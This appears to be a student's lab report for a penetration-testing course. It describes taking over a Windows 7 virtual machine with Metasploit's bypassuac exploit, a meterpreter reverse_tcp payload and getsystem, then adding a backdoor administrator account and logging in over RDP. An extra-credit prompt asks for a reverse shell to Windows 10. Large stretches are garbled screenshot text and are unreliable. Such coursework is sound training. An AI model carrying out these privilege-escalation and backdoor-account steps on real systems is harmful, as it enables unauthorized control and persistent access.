## [Privilege escalation]

P DI-H

4. Background your current session, then gain administrator-level privileges on the remote system (10 pt).

	The Antone The Matter on COUNT PARSIDO - Under Machine       File:     Antone       Math.     Sime:       Sime:     Sime:       Sime:     Sime:       Sime:     Sime:       Sime:     Sime:       Sime:     Sime:
	Constraints and a second
<complex-block></complex-block>	Image:
The state water water is a state of the stat	If a chain what is as intermediated and the second
	Image: A local to loca



To gain admin privileges, I started with some checking with the commands "shell", "net user /add testuser1 pass@123", and "exit" when knowing that I didn't have full access. I then used the "background" command to put my current session in the background and "search uac" to look for a specific exploit. I used the exploit bypassuac with the command "use exploit/windows/local/bypassuac" and looked at my configurations with "show options." I set the payload to windows/meterpreter/reverse\_tcp, lhost to 192.168.10.13, lport to 4428, and set my session to the exploit with "set session 1." I used "show options" to see the changes and "exploit" to run the exploit, making another meterpreter session and finally using "getsystem" to show that I have admin privileges.

5. After you escalate the privilege, complete the following tasks:

a. Create a malicious account with your name and add this account to the administrator group. <u>You need to complete this step on the Attacker Side</u>. (10 pt)



I started with the "shell" command to add the user into the system with the command "net user /add eric pass@123." I then gave the user admin privileges with the command "net localgroup administrators eric /add."

b. Remote access to the malicious account created in the previous step and browse the files belonging to the user, "Windows 7", in RDP. (10 pt) You may follow the pdf for Pen testing

Action Media					
	нь Бо 🖬 🛍				
	📦 🖸 v 🔤 1 2 3 4	5 B		a della d	👔 🗖 (genmorij00X
-	File Actions E	rest@ke		0.00	
		s Edit View Help			
					0.0.0 (198)
	Priv:				0000
_	Asteselect				1146
	ATTENTION!	The server uses and invalid	security certificate which	h can not be	
-		ing identified reasons(s);		1.0	
				×	
-	* 🚖 Tava Issuel				
0	E De				
	Review the			added as an e	
	meter If you do a			e aborted:	
	Preci				
	Ricro P Do Issuer	1: CN-WINDOWS7 7: CN-WINDOWS7			
•	COPyr > No. Valid From	s: Men Oct 28 16:25:08 2024 c: Tue Apr 29 16:25:08 2025			404C
Home	C1/80				
	net : B Vd Certific				Ap.+
	1.0.1	1 2d672e30cb1005a1bb3c42b60		Activate	
_	c1\wi			c33bb92b5ee72 60 to Sett	gs to activate Windows
	net 1 + N Com				
여 태 🤤		i - Internal Wa 🧶 pl'unne - Frewa	L 🤰 Windows X0 Prol. 🧕	Windows Server 2 🤰 Window	x7onCY_ ∧ 12 4€ 3
Internal Nuclearian	Hyper-V Matager 🧶 Ka an an CV3EI-BHESSIG - Vinuel Machine Conne View Hyp IP 🕞 3 💱 👼	dan .			- D
Internal Nuclearian	) iiii Hyper-V Manager 📎 Ka on an CV321-OPES210 - Visual Machine Conne View Help	dia .		Window Serve 2 📚 Window	- D
Internal Nuclearian	Hyper-V Matager 🧶 Ka an an CV3EI-BHESSIG - Vinuel Machine Conne View Hyp IP 🕞 3 💱 👼	dia .	- M2 NA 10.5		- D
Internal Workstofe Action Media	Image: The second sec	ction adultery	-111 kal 183		- D
Internal Workspatie Action Media	Image: Section 2016	olian abiatrap			- D
Internal Norkaptie Action Media	Image: The second sec	ation at	-81.54.8.3 22.20 202 2. 2.	al <mark>a de la constanta de la consta</mark>	- D
Internal Workstate Action Media	Big Depent 12 Manager     Big Depent 12 Manager     Big Depend 12 Manager <thbig 12="" depend="" manager<="" th=""></thbig>	newstern v v ty Search Worker W Date madified Type	-81.54.8.3 22.20 202 2. 2.	a (a.	- D
Internal Nucleania Action Media	Image: State	ation at	-81.54.8.3 22.20 202 2. 2.	al <mark>a de la constanta de la consta</mark>	- D
Internal Workstation Action Media	With Style 1: Universe     Same and Sam	non • • • • • • • • • • • • • • • • • • •	-81.54.8.3 22.20 202 2. 2.		- D
Internal Workstati Action Media	Big Syme U Manyer Sing Carlos  mon CH20 (HELE)  mon CH20  mon CH2	alan Tanan ang ang ang ang ang ang ang ang ang			- 0
Internal Workstatio Action Mode	Big Styler Linkeyer Big Styler	educe	HE MARS		- D
Internal Workshol Action Medie	Big Syme U Manyer Sing Carlos  mon CH20 (HELE)  mon CH20  mon CH2	alan Tanan ang ang ang ang ang ang ang ang ang	HE MARS		- D
Internal Nuclearia Artism Nuclearia	By the third of the constraints of the t	and an	HE MARS		- D
Internal Nuclearia Artism Nuclearia	Control of the second sec	the second	HE MARS		- D
Internal Weskatali Action Mede Control Mede	By the third of the constraints of the t	and an	HE MARS		- 0
Internal Workstatis Action Mode Control Mod	Construction C	ana Constant C	HE MARS		- 0
Internal Workstein Action Made The Made I and Action Action I and Action Action Action I and Ac	the statement of	Annu	HE MARS		- 0
Internal Workstatis Action Mode Control Mod	the state of	Annu	HE MARS		- 0
Internal Workstein Antine Made Provid	the state of	Annu	HE MARS		- 0
Internal Workstein Action Made The Made I and Action Action I and Action Action Action I and Ac	the state of	Annu	HE MARS		- 0

Using the command "rdesktop -u eric -p pass@123 192.168.10.9" on a new terminal, I was able to directly access and interact with the Windows 7 VM. Searching through the local disk, I was able to find the user "Window 7" and search through their files.

## Task D. Extra Credit

Try to set up a reverse shell connection with Metasploit to Windows 10 (10 **points).** You can use the technique we introduced in this class, or other exploits not covered by this course.